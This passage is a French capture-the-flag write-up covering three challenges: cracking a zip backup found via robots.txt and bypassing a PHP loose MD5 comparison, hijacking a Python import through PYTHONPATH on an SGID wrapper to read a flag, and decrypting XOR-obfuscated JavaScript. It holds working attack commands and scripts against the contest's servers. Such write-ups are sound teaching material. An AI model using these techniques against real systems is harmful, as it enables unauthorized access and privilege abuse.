!important; }<br />.sc48 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc50 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc40 { font-family: monospace !important; }<br />.sc45 { color: rgb(255, 205, 34); font-family: monospace !important; }<br />.sc47 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc49 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc2 { color: rgb(255, 205, 34); font-family: monospace !important; }<br /></style>
<div style="text-align: justify;">Le premier réflexe à adopter dans ce cas est de s&rsquo;orienter sur la cartographie de l&rsquo;application : scan de ports, scans des dossiers, etc. Le challenge interdisant explicitement le bruteforce en ligne, ces solutions ne sont pas appliquées ici.</div>
<div style="text-align: justify;">En revanche, deux fichiers sont souvent présents sur les applications web et permettent de découvrir tout ou partie de l&rsquo;arborescence d&rsquo;un site :</div>
<ul>
<li><b>/sitemap.xml :</b> fichier XML contenant l&rsquo;arborescence des différentes sections</li>
<li><b>/robots.txt :</b> fichier txt visant à interdire le <i>crawling</i> de certaines sections aux robots</li>
</ul>
<div>
<div style="text-align: justify;">En naviguant sur le second, l&rsquo;application indique que le fichier <b>backup.zip</b> existe :</div>
</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-aTPPckzLLRU/W8YB3NT0w9I/AAAAAAAAAjQ/nWrorUZjefYVdWnsIky0DMq1jcVVNvYUwCEwYBhgL/s1600/1_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-aTPPckzLLRU/W8YB3NT0w9I/AAAAAAAAAjQ/nWrorUZjefYVdWnsIky0DMq1jcVVNvYUwCEwYBhgL/s1600/1_2.png" border="0" data-original-height="133" data-original-width="510" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">Le fichier <b>backup.zip</b> est bien accessible, et une fois téléchargé, demande un mot de passe pour l&rsquo;extraction :</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">unzip backup.zip</span><br />
Archive: backup.zip<br />
[backup.zip] index.php password: </span></p>
<div>
<div style="text-align: justify;">Il est facile de procéder au bruteforce de ce mot de passe à l&rsquo;aide de la liste <b>rockyou.txt</b> (présente par défaut sur Kali Linux) et de l&rsquo;outil <a href="https://github.com/hyc/fcrackzip" target="_blank" rel="noopener">fcrackzip</a> :</div>
</div>
<div></div>
<p><span class="w-code"><span class="w-user">iansus</span> @ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">fcrackzip -D -p rockyou.txt -u backup.zip</span></span><br />
PASSWORD FOUND!!!!: pw == <span class="w-grepped">passw0rd</span></p>
</div>
<div>
<div style="text-align: justify;">Le mot de passe est donc <i>passw0rd</i> et permet de récupérer la source du fichier PHP, ci-dessous :</div>
</div>
<div></div>
<div><span class="w-code"><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">include</span> <span class="sc119">« auth.php »</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc18">?&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;html&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;head&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;title&gt;</span><span class="sc0">Un site simple</span><span class="sc1">&lt;/title&gt;&lt;/title&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/head&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;body&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;center&gt;&lt;iframe</span> <span class="sc3">width</span><span class="sc8">=</span><span class="sc6">« 560 »</span> <span class="sc3">height</span><span class="sc8">=</span><span class="sc6">« 315 »</span> <span class="sc3">src</span><span class="sc8">=</span><span class="sc6">« https://www.youtube[.]com/embed/2bjk26RwjyU?rel=0&amp;amp;controls=0&amp;amp;showinfo=0 »</span> <span class="sc3">frameborder</span><span class="sc8">=</span><span class="sc6">« 0 »</span> <span class="sc4">allow</span><span class="sc8">=</span><span class="sc6">« autoplay; encrypted-media »</span> <span class="sc4">allowfullscreen</span><span class="sc1">&gt;&lt;/iframe&gt;&lt;/center&gt;</span><span class="sc0"><br />
</span><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc121">isset</span><span class="sc127">(</span><span class="sc123">$_POST</span><span class="sc127">[</span><span class="sc119">« h1 »</span><span class="sc127">]))</span><span class="sc118"><br />
</span><span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc123">$h1</span> <span class="sc127">=</span> <span class="sc121">md5</span><span class="sc127">(</span><span class="sc123">$_POST</span><span class="sc127">[</span><span class="sc119">« h1 »</span><span class="sc127">]</span> <span class="sc127">.</span> <span class="sc119">« Shrewk »</span><span class="sc127">);</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc119">« h1 vaut: « </span><span class="sc127">.</span><span class="sc123">$h1</span><span class="sc127">.</span><span class="sc119">« &lt;/br&gt; »</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc123">$h1</span> <span class="sc127">==</span> <span class="sc119">« 0 »</span><span class="sc127">)</span><span class="sc118"><br />
</span><span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc119">« &lt;!&#8211;Bien joué le flag est « </span><span class="sc127">.</span><span class="sc123">$flag</span><span class="sc127">.</span><span class="sc119">« &#8211;&gt; »</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc18">?&gt;</span><span class="sc0"><br />
</span><span class="sc9">&lt;!&#8211; Si une méthode ne fonctionne pas il faut en utiliser une autre &#8211;&gt;</span><span class="sc0"><br />
</span><span class="sc9">&lt;!&#8211; Un formulaire c&rsquo;était pas assez simple donc on en a pas mis &#8211;&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/body&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/html&gt;</span></span></p>
<div style="text-align: justify;">Le script récupère la valeur du paramètre GET <b>h1</b> et la concatène à la chaîne <b>Shrewk</b> avant d&rsquo;en calculer l&#8217;empreinte MD5. Cette empreinte est ensuite comparée à la chaîne <b>0</b> à l&rsquo;aide de l&rsquo;opérateur <b>==</b>.</div>
<div style="text-align: justify;">En temps normal, cette condition n&rsquo;est pas réalisable, puisque la sortie de la fonction <b>md5()</b> a pour longueur fixe 32. En revanche, puisque l&rsquo;opérateur de comparaison faible (en opposition à la comparaison forte avec l&rsquo;opérateur <b>===</b>) est utilisé, <a href="http://php.net/manual/fr/types.comparisons.php" target="_blank" rel="noopener">il est possible d&rsquo;en abuser</a>. Notamment, toute chaine de caractère débutant par <b>0e</b> et se terminant par une suite de chiffres est faiblement égale à la chaîne <b>0</b>.</div>
<div style="text-align: justify;">Les statistiques sont de notre côté, il n&rsquo;est pas si improbable d&rsquo;obtenir une telle chaîne en calculant l&#8217;empreinte d&rsquo;une chaîne aléatoire :</div>
<p><span class="w-code"><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">while</span><span class="sc127">(</span><span class="sc122">1</span><span class="sc127">)</span> <span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc123">$a</span> <span class="sc127">=</span> <span class="sc121">microtime</span><span class="sc127">(</span><span class="sc121">true</span><span class="sc127">);</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc121">md5</span><span class="sc127">(</span><span class="sc123">$a</span><span class="sc127">.</span><span class="sc119">« Shrewk »</span><span class="sc127">)==</span><span class="sc119">« 0 »</span><span class="sc127">)</span> <span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc123">$a</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc121">break</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc18">?&gt;</span></span></p>
<div class="separator" style="clear: both; text-align: left;"></div>
<div style="text-align: justify;">La première chaîne de caractère validant la condition est trouvée en une vingtaine de minutes, et permet de valider le challenge :</div>
<p>&nbsp;</p>
</div>
<p><span class="w-code"><span class="w-user">iansus</span> @ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">curl -X POST http://iansus.net:4444 &#8211;data &lsquo;h1=1539722573.8918&rsquo; -s | grep sigsegv</span><br />
h1 vaut: 0e633901513385170308561908425699&lt;/br&gt;&lt;!&#8211;Bien joué le flag est <span class="w-grepped">sigsegv</span>{a1a29afa647a20758e64b49d8eb453f4}&#8211;&gt;&lt;!&#8211; Si une méthode ne fonctionne pas il faut en utiliser une autre &#8211;&gt;</span></p>
<h2 style="clear: both;">App-script : Fun avec Python (par laxa)</h2>
<div>
<div style="text-align: justify;"><b>Description : </b>J&rsquo;ai commencé à développer des modules pour python, c&rsquo;est marrant. Je suis presque sûr que tout est sécurisé jusqu&rsquo;à présent.<br />
<span class="w-inline-code">ssh -p4443 chall@51.158.73.218 &#8211; mdp: e92b1b12c450afd60faa9f43cff5412e</span></div>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">La première étape est par conséquent de se connecter en SSH sur ce serveur pour découvrir l&rsquo;environnement:</div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/Qualifications-2018 % <span class="w-cli">ssh -p 4443 chall@iansus.net</span><br />
chall@iansus.net&rsquo;s password:<br />
Linux 4e5d88350bfc 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) x86_64<br />
The programs included with the Debian GNU/Linux system are free software;<br />
the exact distribution terms for each program are described in the<br />
individual files in /usr/share/doc/*/copyright.<br />
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br />
permitted by applicable law.<br />
aaaaaaaaaaaaaaaaaaaaaa<br />
<span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">ls -l</span><br />
total 16<br />
-r&#8211;r&#8212;&#8211; 1 root chall-pwned 21 Oct 16 17:13 flag<br />
-rwxr-xr-x 1 root root 307 Oct 16 17:13 hello-world.py<br />
-rwxr-<span class="w-grepped">s</span>r-x 1 root chall-pwned 6304 Oct 17 17:18 <span class="w-grepped">wrapper</span></span></p>
<div style="text-align: justify;">Dans cette configuration, le fichier <b>flag</b> ne peut être lu que par un membre du groupe <b>chall-pwned</b>. Un programme <b>wrapper</b> possède le bit SGID et s&rsquo;exécutera sous l&rsquo;identité du groupe <b>chall-pwned</b>. Enfin, le fichier Python suivant est fourni :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python2.7</span><span class="sc0"><br />
</span><span class="sc5">from</span> <span class="sc11">colors</span> <span class="sc5">import</span> <span class="sc11">colors</span><span class="sc0"><br />
</span><span class="sc5">def</span> <span class="sc9">main</span><span class="sc10">():</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;This is an advanced hello-world&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;The world is more joyful with colors&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;So, here we are:&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;{}Hello-World !{}&rsquo;</span><span class="sc10">.</span><span class="sc11">format</span><span class="sc10">(</span><span class="sc11">colors</span><span class="sc10">.</span><span class="sc11">bcolors</span><span class="sc10">.</span><span class="sc11">OKBLUE</span><span class="sc10">,</span> <span class="sc11">colors</span><span class="sc10">.</span><span class="sc11">bcolors</span><span class="sc10">.</span><span class="sc11">ENDC</span><span class="sc10">))</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">__name__</span> <span class="sc10">==</span> <span class="sc4">&lsquo;__main__&rsquo;</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">main</span><span class="sc10">()</span></span></p>
<div style="text-align: justify;">Après vérification, le package <b>colors</b> n&rsquo;existe pas sur PyPI, ce doit être un développement de l&rsquo;auteur. Pour aller observer le fichier source, il suffit d&rsquo;exécuter les commandes suivantes :</div>
<p><span class="w-code"><span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">python2.7</span><br />
Python 2.7.13 (default, Nov 24 2017, 17:33:09)<br />
[GCC 6.3.0 20170516] on linux2<br />
Type « help », « copyright », « credits » or « license » for more information.<br />
&gt;&gt;&gt; <span class="w-cli">import colors</span><br />
&gt;&gt;&gt; <span class="w-cli">colors.__file__</span><br />
&lsquo;<span class="w-grepped">/usr/local/lib/python2.7/dist-packages/colors/</span>__init__.py&rsquo;</span></p>
<div style="text-align: justify;">La source du module Python est située dans le fichier <span class="w-inline-code">/usr/local/lib/python2.7/dist-packages/colors/colors.py</span> :</div>
<p><span class="w-code"><span class="sc5">class</span> <span class="sc8">bcolors</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">HEADER</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[95m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">OKBLUE</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[94m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">OKGREEN</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[92m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">WARNING</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[93m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">FAIL</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[91m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">ENDC</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[0m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">BOLD</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[1m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">UNDERLINE</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[4m&rsquo;</span></span></p>
<div style="text-align: justify;">Plutôt déroutant à première vue, puisqu&rsquo;aucun argument n&rsquo;est fourni au programme&#8230; La vulnérabilité vient peut-être alors du chargement du module. Pour cela, la <a href="https://docs.python.org/2.7/tutorial/modules.html#the-module-search-path" target="_blank" rel="noopener">documentation de Python</a> décrit très bien l&rsquo;ordre de chargement des modules.</div>
<div style="text-align: justify;">Par défaut, les modules sont chargés depuis les dossiers présents dans la variable <b>sys.path</b>, qui fonctionne de manière similaire à la variable d&rsquo;environnement <b>$PATH</b>. Cette variable est initialisée comme suit :</div>
<div style="text-align: justify;"></div>
<ul>
<li>Avec le nom du dossier contenant le script Python exécuter (les liens symboliques sont résolus)</li>
<li>Avec la variable d&rsquo;environnement <b>$PYTHONPATH</b></li>
<li>Avec le dossier d&rsquo;installation par défaut des scripts</li>
</ul>
<p>&nbsp;</p>
<div style="text-align: justify;">N&rsquo;ayant ni les droits d&rsquo;écriture dans le dossier courant ou dans le dossier par défaut, la seconde solution semble la plus adaptée. L&rsquo;utilisation d&rsquo;un binaire SUID ne supprime pas les variables d&rsquo;environnement (à l&rsquo;inverse du fonctionnement par défaut de sudo).</div>
<div style="text-align: justify;">Pour exploiter la vulnérabilité, le fichier <span class="w-inline-code">/tmp/colors.py</span> est créé :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python2.7</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc11">open</span><span class="sc10">(</span><span class="sc4">&lsquo;/home/chall/flag&rsquo;</span><span class="sc10">,</span> <span class="sc4">&lsquo;r&rsquo;</span><span class="sc10">).</span><span class="sc11">read</span><span class="sc10">()</span></span><br />
Il est alors possible de récupérer le flag comme suit :<br />
<span class="w-code"><span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">PYTHONPATH=/tmp ./wrapper</span><br />
<span class="w-grepped">sigsegv{un_flag_ici}</span><br />
Traceback (most recent call last):<br />
File « /home/chall/hello-world.py », line 3, in &lt;module&gt;<br />
from colors import colors<br />
ImportError: cannot import name colors<br />
</span></p>
<h2 style="clear: both;">Web-client : Javascript Obfusqué (par Synacktiv)</h2>
<div>
<div style="text-align: justify;">
<p><b>Description : </b>Le javascript est populaire de nos jours, serez-vous capable de retrouver le flag ?Le challenge se présente sous la forme d&rsquo;un fichier HTML qui contient un formulaire pour vérifier le flag :</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-RzbvmwXsFGs/W8hHKOhqWfI/AAAAAAAAAj0/vXobc1JLI2Y5eR_135WxudwUm-f9XQcRgCLcBGAs/s1600/3_1.png"><img decoding="async" src="https://2.bp.blogspot.com/-RzbvmwXsFGs/W8hHKOhqWfI/AAAAAAAAAj0/vXobc1JLI2Y5eR_135WxudwUm-f9XQcRgCLcBGAs/s1600/3_1.png" border="0" data-original-height="41" data-original-width="499" /></a></div>
<p><span class="w-code"><span class="sc1">&lt;html&gt;&lt;SCRIPT</span> <span class="sc3">LANGUAGE</span><span class="sc8">=</span><span class="sc6">« JavaScript »</span><span class="sc1">&gt;</span><span class="sc43">&lt;!&#8211;</span><span class="sc41"><br />
</span><span class="sc46">document.write</span><span class="sc50">(</span><span class="sc46">unescape</span><span class="sc50">(</span><span class="sc48">« %3C%53[..snip..]%54%3E »</span><span class="sc50">));</span><span class="sc43">//&#8211;&gt;</span><span class="sc1">&lt;/SCRIPT&gt;&lt;SCRIPT</span> <span class="sc3">LANGUAGE</span><span class="sc8">=</span><span class="sc6">« JavaScript »</span><span class="sc1">&gt;</span><span class="sc43">&lt;!&#8211;</span><span class="sc41"><br />
</span><span class="sc46">hp_d01</span><span class="sc50">(</span><span class="sc46">unescape</span><span class="sc50">(</span><span class="sc48">« %3E%23//JGCF[..snip..]%23//-JGCF//%3C »</span><span class="sc50">));</span><span class="sc43">//&#8211;&gt;</span><span class="sc1">&lt;/SCRIPT&gt;&lt;NOSCRIPT&gt;</span><span class="sc0">To display this page you need a browser with JavaScript support.</span><span class="sc1">&lt;/NOSCRIPT&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/html&gt;</span><span class="sc0"><br />
</span></span><br />
Il est en général possible de rencontrer deux types d&rsquo;obfuscation JavaScript :</p>
<ul>
<li>La première construit un code qui sera désobfusqué et exécuté grâce à la fonction <b>eval()</b></li>
<li>La seconde construit un code qui sera désobfusqué et exécuté en l&rsquo;ajoutant dynamiquement dans le code de la page, par exemple via <b>document.write()</b></li>
</ul>
<p>Ce challenge utilise la seconde méthode, et le code final peut donc être récupéré en utilisant l&rsquo;inspecteur HTML de Chrome / Firefox / Opera :</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-2ZA5mrOy7eA/W8hIxs8eBWI/AAAAAAAAAkA/pOFHhywWeksrEy6vADS6n8DAK9Ar8SulACLcBGAs/s1600/3_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-2ZA5mrOy7eA/W8hIxs8eBWI/AAAAAAAAAkA/pOFHhywWeksrEy6vADS6n8DAK9Ar8SulACLcBGAs/s1600/3_2.png" border="0" data-original-height="237" data-original-width="587" /></a></div>
<p>Le code complet de la fonction JavaScript est le suivant :<br />
<span class="w-code"><span class="sc1">&lt;script</span> <span class="sc3">language</span><span class="sc8">=</span><span class="sc6">« JavaScript »</span><span class="sc1">&gt;</span><span class="sc40"><br />
</span><span class="sc47">function</span> <span class="sc46">Kod</span><span class="sc50">(</span><span class="sc46">s</span><span class="sc50">,</span> <span class="sc46">pass</span><span class="sc50">)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">i</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">BlaBla</span><span class="sc50">=</span><span class="sc48">«  »</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">for</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">&lt;</span><span class="sc46">s.length</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">++)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc46">BlaBla</span> <span class="sc50">+=</span> <span class="sc46">String.fromCharCode</span><span class="sc50">((</span><span class="sc46">pass.charCodeAt</span><span class="sc50">(</span><span class="sc46">i</span><span class="sc50">++))^(</span><span class="sc46">s.charCodeAt</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">)));</span><span class="sc41"><br />
</span><span class="sc47">if</span> <span class="sc50">(</span><span class="sc46">i</span><span class="sc50">&gt;=</span><span class="sc46">pass.length</span><span class="sc50">)</span><span class="sc41"><br />
</span><span class="sc46">i</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">return</span><span class="sc50">(</span><span class="sc46">BlaBla</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">function</span> <span class="sc46">f</span><span class="sc50">(</span><span class="sc46">form</span><span class="sc50">){</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">pass</span><span class="sc50">=</span><span class="sc46">document.form.pass.value</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">hash</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">for</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">&lt;</span><span class="sc46">pass.length</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">++){</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">n</span><span class="sc50">=</span> <span class="sc46">pass.charCodeAt</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc46">hash</span> <span class="sc50">+=</span> <span class="sc50">((</span><span class="sc46">n</span><span class="sc50">&#8211;</span><span class="sc46">j</span><span class="sc50">+</span><span class="sc45">33</span><span class="sc50">)^</span><span class="sc45">31025</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">if</span> <span class="sc50">(</span><span class="sc46">hash</span> <span class="sc50">==</span> <span class="sc45">529387</span><span class="sc50">)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">Secret</span> <span class="sc50">=</span><span class="sc48">«  »</span><span class="sc50">+</span><span class="sc48">« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52\x1b\x1d\x0a\x1f\x5b »</span><span class="sc50">+</span><span class="sc48">«  »</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">s</span><span class="sc50">=</span><span class="sc46">Kod</span><span class="sc50">(</span><span class="sc46">Secret</span><span class="sc50">,</span> <span class="sc46">pass</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc46">document.write</span> <span class="sc50">(</span><span class="sc46">s</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span> <span class="sc47">else</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc46">alert</span> <span class="sc50">(</span><span class="sc49">&lsquo;Wrong password!&rsquo;</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc1">&lt;/script&gt;</span></span><br />
Les première analyses du code indiquent que :</p>
<ul>
<li>La fonction <b>Kod</b> consiste à réaliser une opération <b>XOR</b> entre une chaîne et une clé, cette dernière étant répétée si plus courte que la chaîne à chiffrer</li>
<li>La fonction <b>f</b> est appelée sur validation du formulaire et :
<ul>
<li>réalise une vérification sur la clé entrée dans le formulaire (variable <b>hash</b>)</li>
<li>déchiffre la variable <b>Secret</b> à l&rsquo;aide de la clé pour l&rsquo;afficher sur la page</li>
</ul>
</li>
</ul>
<div>Il s&rsquo;agit donc ici d&rsquo;un problème de cryptographie, et la première étape consiste à trouver la longueur de la clé. Bien que des analyses statistiques soient possibles, une méthode plus facile consiste à utiliser le calcul de la variable <b>hash</b> pour évaluer cette longueur.</div>
<div>Cette variable est la somme des <span class="w-inline-code">(n-j+33)^31025</span>, <b>n</b> étant le code ASCII du caractère et <b>j </b>sa position. Ces éléments sont globalement bornés autour dans l&rsquo;intervalle 30000-32000. Il est donc facile d&rsquo;approximer la longueur de la clé via Napprox = 529387 / 31000 = 17.077</div>
</div>
</div>
<p>, soit 17.</p>
<div style="text-align: justify;">Connaissant cette longueur, la variable Secret peut être présentée sous la forme suivante, qui aligne les octets du texte chiffré qui seront déchiffrés à l&rsquo;aide des mêmes octets de la clé :</div>
<p><span class="w-code"><span class="sc3">« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18 »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19 »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52 »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x1b\x1d\x0a\x1f\x5b »</span></span></p>
<div style="text-align: justify;">Pour traduire peu à peu le texte, il est possible d&rsquo;utiliser la technique du mot probable, qui fonctionne comme suit : on suppose qu&rsquo;un certain mot est présent (non coupé) dans l&rsquo;un des blocs. Il est alors possible d&rsquo;en déduire une portion de clé probable, et de déchiffrer les autres portions de blocs avec cette clé.</div>
<div style="text-align: justify;">Le script suivant permet de faciliter cette recherche, et d&rsquo;aboutir peu à peu à la clé finale, <span class="w-inline-code">sigsegv{jsIsE4zy}</span> :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python</span><span class="sc0"><br />
</span><span class="sc5">import</span> <span class="sc11">sys</span><span class="sc0"><br />
</span><span class="sc5">def</span> <span class="sc9">xor</span><span class="sc10">(</span><span class="sc11">a</span><span class="sc10">,</span> <span class="sc11">b</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">return</span> <span class="sc4"> »</span><span class="sc10">.</span><span class="sc11">join</span><span class="sc10">([</span><span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">c</span><span class="sc10">)^</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">d</span><span class="sc10">))</span> <span class="sc5">for</span> <span class="sc11">c</span><span class="sc10">,</span> <span class="sc11">d</span> <span class="sc5">in</span> <span class="sc11">zip</span><span class="sc10">(</span><span class="sc11">a</span><span class="sc10">,</span> <span class="sc11">b</span><span class="sc10">)])</span></span><br />
<span class="sc11">blocks</span> <span class="sc10">=</span> <span class="sc10">[</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
